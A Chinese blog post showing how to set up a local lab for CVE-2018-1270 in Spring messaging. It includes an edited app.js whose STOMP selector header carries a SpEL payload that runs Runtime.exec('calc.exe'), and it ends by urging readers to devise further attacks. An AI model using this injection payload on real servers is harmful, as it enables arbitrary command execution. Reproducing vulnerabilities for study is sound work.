CVE-2018-1270 复现 及 GET到的知识点

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
https://xz.aliyun.com/t/2252 spring-messaging Remote Code Execution 分析-【CVE-2018-1270】
可以说已经写的不能再详细了,但是很多新手不知道如何搭建环境复现,复现过程中还会遇到各样的问题。
如何搭建复现CVE-2018-1270、CVE-2018-1273、CVE-2018-1274的环境:
必须需要JAVA环境,切必须要装JDK。JRE随便喽。
安装好环境后,你可以去https://github.com/spring-guides/gs-messaging-stomp-websocket 下载环境包。
这里出现了问题一:没有git环境下,下载的安装包是最新版,没漏洞,如何改成旧版?
当下载完gs-messaging-stomp-websocket 这个之后,需要更改complete文件夹下的pom.xml这个文件,找到
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.1.RELEASE</version>
</parent>
把上面的2.0.1更改成2.0.0 然后保存文件。
然后,这里还需要下载一个MAVEN。通过这个工具我们来打包我们更改好的gs-messaging-stomp-websocket程序。
这里还要注意一下,同时还需要做如下更改:
用IDEA打开gs-messaging-stomp-websocket目录下的complete项目,修改app.js中的第15行:
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
增加了一个header头部,其中指定了selector
,其值即payload。
通过https://github.com/spring-guides/gs-messaging-stomp-websocket 这里的说明,我们可以清楚的看到,架包的程序主入口是:src/main/java/hello/Application.java
我们打包好的文件在target目录下。
然后我们只需要运行。
java -jar gs-messaging-stomp-websocket-0.1.0.jar src/main/java/hello/Application.java
然后就可以本地访问 http://localhost:8080 当然了。这只是方式一。
我们还可以直接在gs-messaging-stomp-websocket-master目录下运行CMD。
然后运行命令: mvnw spring-boot:run
最终就测试成功,弹出计算器了,但是你要注意,弹出计算器只是一个deom,具体的各种花式攻击,需要你开动脑筋了。
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏